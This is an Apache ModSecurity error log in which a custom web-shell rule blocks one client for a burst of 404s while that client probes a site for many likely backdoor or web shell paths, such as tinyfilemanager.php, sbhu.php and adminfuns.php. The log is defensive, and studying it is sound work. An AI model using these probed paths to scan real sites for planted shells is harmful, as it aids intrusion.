[Fri Apr 17 03:50:02.994373 2026] [:error] [pid 9263:tid 9289] [client 20.166.31.184:35902] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeE9ahP68VyHNvj1e56B4AAAANg"]
[Fri Apr 17 03:50:03.527826 2026] [:error] [pid 9153:tid 9222] [client 20.166.31.184:23910] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeE9a-MHGxkTZX3c45enbAAAAIQ"]
[Fri Apr 17 03:50:04.028655 2026] [:error] [pid 9263:tid 9270] [client 20.166.31.184:23904] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "aeE9bBP68VyHNvj1e56B4gAAAMU"]
[Fri Apr 17 03:50:04.535725 2026] [:error] [pid 9151:tid 9182] [client 20.166.31.184:38358] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "aeE9bMhTVuRPkua22vReIAAAABU"]
[Fri Apr 17 03:50:05.037185 2026] [:error] [pid 9263:tid 9282] [client 20.166.31.184:29484] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "aeE9bRP68VyHNvj1e56B5wAAANE"]
[Fri Apr 17 03:50:05.570571 2026] [:error] [pid 9263:tid 9267] [client 20.166.31.184:26045] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "aeE9bRP68VyHNvj1e56B7AAAAMI"]
[Fri Apr 17 03:50:06.116740 2026] [:error] [pid 9153:tid 9223] [client 20.166.31.184:32646] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aeE9buMHGxkTZX3c45encwAAAIU"]
[Fri Apr 17 03:50:06.680646 2026] [:error] [pid 9153:tid 9235] [client 20.166.31.184:32746] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aeE9buMHGxkTZX3c45endQAAAJE"]
[Fri Apr 17 03:50:07.204937 2026] [:error] [pid 9152:tid 9198] [client 20.166.31.184:38542] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aeE9b5JYca8I3TNCwIfIhwAAAEg"]
[Fri Apr 17 03:50:07.892669 2026] [:error] [pid 9263:tid 9283] [client 20.166.31.184:24052] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aeE9bxP68VyHNvj1e56B-QAAANI"]
[Fri Apr 17 03:50:08.472028 2026] [:error] [pid 9263:tid 9268] [client 20.166.31.184:35890] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aeE9cBP68VyHNvj1e56B_AAAAMM"]
[Fri Apr 17 03:50:09.012778 2026] [:error] [pid 9153:tid 9231] [client 20.166.31.184:20870] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aeE9ceMHGxkTZX3c45engQAAAI0"]
[Fri Apr 17 03:50:09.561332 2026] [:error] [pid 9263:tid 9278] [client 20.166.31.184:35718] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aeE9cRP68VyHNvj1e56CAQAAAM0"]
[Fri Apr 17 03:50:10.110109 2026] [:error] [pid 9263:tid 9267] [client 20.166.31.184:38553] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aeE9chP68VyHNvj1e56CBAAAAMI"]
[Fri Apr 17 03:50:10.638971 2026] [:error] [pid 9263:tid 9289] [client 20.166.31.184:29068] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeE9chP68VyHNvj1e56CBgAAANg"]
[Fri Apr 17 03:50:11.179873 2026] [:error] [pid 9263:tid 9272] [client 20.166.31.184:35713] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeE9cxP68VyHNvj1e56CCAAAAMc"]
[Fri Apr 17 03:50:11.756668 2026] [:error] [pid 9263:tid 9278] [client 20.166.31.184:29447] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeE9cxP68VyHNvj1e56CDQAAAM0"]
[Fri Apr 17 03:50:12.309203 2026] [:error] [pid 9153:tid 9227] [client 20.166.31.184:29059] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeE9dOMHGxkTZX3c45enkgAAAIk"]
[Fri Apr 17 03:50:12.905359 2026] [:error] [pid 9153:tid 9229] [client 20.166.31.184:29469] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeE9dOMHGxkTZX3c45enlQAAAIs"]
[Fri Apr 17 03:50:13.453725 2026] [:error] [pid 9153:tid 9234] [client 20.166.31.184:26262] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeE9deMHGxkTZX3c45enlwAAAJA"]
[Fri Apr 17 03:50:14.137032 2026] [:error] [pid 9263:tid 9276] [client 20.166.31.184:23930] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeE9dhP68VyHNvj1e56CHAAAAMs"]
[Fri Apr 17 03:50:14.649910 2026] [:error] [pid 9263:tid 9273] [client 20.166.31.184:26298] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeE9dhP68VyHNvj1e56CIAAAAMg"]
[Fri Apr 17 03:50:15.180821 2026] [:error] [pid 9153:tid 9225] [client 20.166.31.184:21286] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeE9d-MHGxkTZX3c45enmwAAAIc"]
[Fri Apr 17 03:50:15.762880 2026] [:error] [pid 9263:tid 9277] [client 20.166.31.184:24029] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeE9dxP68VyHNvj1e56CKAAAAMw"]
[Fri Apr 17 03:50:16.295198 2026] [:error] [pid 9153:tid 9238] [client 20.166.31.184:38361] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeE9eOMHGxkTZX3c45enoAAAAJQ"]
[Fri Apr 17 03:50:16.825164 2026] [:error] [pid 9151:tid 9163] [client 20.166.31.184:20925] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeE9eMhTVuRPkua22vReMgAAAAI"]
[Fri Apr 17 03:50:17.468015 2026] [:error] [pid 9151:tid 9173] [client 20.166.31.184:35841] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aeE9echTVuRPkua22vReNgAAAAw"]
[Fri Apr 17 03:50:18.026477 2026] [:error] [pid 9151:tid 9180] [client 20.166.31.184:23889] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aeE9eshTVuRPkua22vRePAAAABM"]
[Fri Apr 17 03:50:18.551992 2026] [:error] [pid 9263:tid 9286] [client 20.166.31.184:38370] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aeE9ehP68VyHNvj1e56CLgAAANU"]
[Fri Apr 17 03:50:19.088722 2026] [:error] [pid 9263:tid 9284] [client 20.166.31.184:29112] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aeE9exP68VyHNvj1e56CMwAAANM"]
[Fri Apr 17 03:50:19.688718 2026] [:error] [pid 9153:tid 9240] [client 20.166.31.184:26278] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aeE9e-MHGxkTZX3c45enqwAAAJY"]
[Fri Apr 17 03:50:20.225467 2026] [:error] [pid 9263:tid 9276] [client 20.166.31.184:15379] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aeE9fBP68VyHNvj1e56COgAAAMs"]
[Fri Apr 17 03:50:20.751388 2026] [:error] [pid 9263:tid 9271] [client 20.166.31.184:32744] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aeE9fBP68VyHNvj1e56CPwAAAMY"]
[Fri Apr 17 03:50:21.339674 2026] [:error] [pid 9263:tid 9280] [client 20.166.31.184:35764] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aeE9fRP68VyHNvj1e56CRAAAAM8"]
[Fri Apr 17 03:50:21.888036 2026] [:error] [pid 9263:tid 9277] [client 20.166.31.184:26030] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeE9fRP68VyHNvj1e56CRgAAAMw"]
[Fri Apr 17 03:50:22.407803 2026] [:error] [pid 9153:tid 9236] [client 20.166.31.184:21302] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeE9fuMHGxkTZX3c45enrwAAAJI"]
[Fri Apr 17 03:50:23.004836 2026] [:error] [pid 9153:tid 9229] [client 20.166.31.184:24050] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeE9f-MHGxkTZX3c45enswAAAIs"]
[Fri Apr 17 03:50:23.573172 2026] [:error] [pid 9152:tid 9196] [client 20.166.31.184:35731] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeE9f5JYca8I3TNCwIfIiwAAAEY"]
[Fri Apr 17 03:50:24.158763 2026] [:error] [pid 9153:tid 9239] [client 20.166.31.184:29454] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aeE9gOMHGxkTZX3c45enugAAAJU"]
[Fri Apr 17 03:50:24.684616 2026] [:error] [pid 9263:tid 9267] [client 20.166.31.184:32687] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aeE9gBP68VyHNvj1e56CUgAAAMI"]
[Fri Apr 17 03:50:25.268564 2026] [:error] [pid 9263:tid 9273] [client 20.166.31.184:29494] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aeE9gRP68VyHNvj1e56CVAAAAMg"]
[Fri Apr 17 03:50:25.862996 2026] [:error] [pid 9153:tid 9220] [client 20.166.31.184:26258] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aeE9geMHGxkTZX3c45envwAAAII"]
[Fri Apr 17 03:50:26.428723 2026] [:error] [pid 9153:tid 9224] [client 20.166.31.184:35866] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeE9guMHGxkTZX3c45enwgAAAIY"]
[Fri Apr 17 03:50:27.005399 2026] [:error] [pid 9153:tid 9230] [client 20.166.31.184:26287] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeE9g-MHGxkTZX3c45enxQAAAIw"]
[Fri Apr 17 03:50:27.607015 2026] [:error] [pid 9152:tid 9210] [client 20.166.31.184:26263] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeE9g5JYca8I3TNCwIfIjQAAAFQ"]
[Fri Apr 17 03:50:28.312945 2026] [:error] [pid 9153:tid 9235] [client 20.166.31.184:29472] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeE9hOMHGxkTZX3c45enzAAAAJE"]
[Fri Apr 17 03:50:28.852864 2026] [:error] [pid 9263:tid 9273] [client 20.166.31.184:26270] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aeE9hBP68VyHNvj1e56CYAAAAMg"]
[Fri Apr 17 03:50:29.423751 2026] [:error] [pid 9151:tid 9182] [client 20.166.31.184:29483] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aeE9hchTVuRPkua22vReSgAAABU"]
[Fri Apr 17 03:50:29.945275 2026] [:error] [pid 9153:tid 9225] [client 20.166.31.184:38533] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aeE9heMHGxkTZX3c45en2AAAAIc"]
[Fri Apr 17 03:50:30.493077 2026] [:error] [pid 9153:tid 9228] [client 20.166.31.184:35774] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aeE9huMHGxkTZX3c45en3wAAAIo"]
[Fri Apr 17 03:50:31.025100 2026] [:error] [pid 9151:tid 9172] [client 20.166.31.184:32722] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aeE9h8hTVuRPkua22vReTwAAAAs"]
[Fri Apr 17 03:50:31.643908 2026] [:error] [pid 9152:tid 9198] [client 20.166.31.184:32718] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aeE9h5JYca8I3TNCwIfIkAAAAEg"]
[Fri Apr 17 03:50:32.282080 2026] [:error] [pid 9153:tid 9226] [client 20.166.31.184:26265] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aeE9iOMHGxkTZX3c45en6AAAAIg"]
[Fri Apr 17 03:50:32.831064 2026] [:error] [pid 9153:tid 9218] [client 20.166.31.184:26252] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aeE9iOMHGxkTZX3c45en7QAAAIA"]
[Fri Apr 17 03:50:33.405684 2026] [:error] [pid 9151:tid 9168] [client 20.166.31.184:38358] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aeE9ichTVuRPkua22vReUwAAAAc"]
[Fri Apr 17 03:50:34.123517 2026] [:error] [pid 9153:tid 9225] [client 20.166.31.184:32655] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aeE9iuMHGxkTZX3c45en9wAAAIc"]
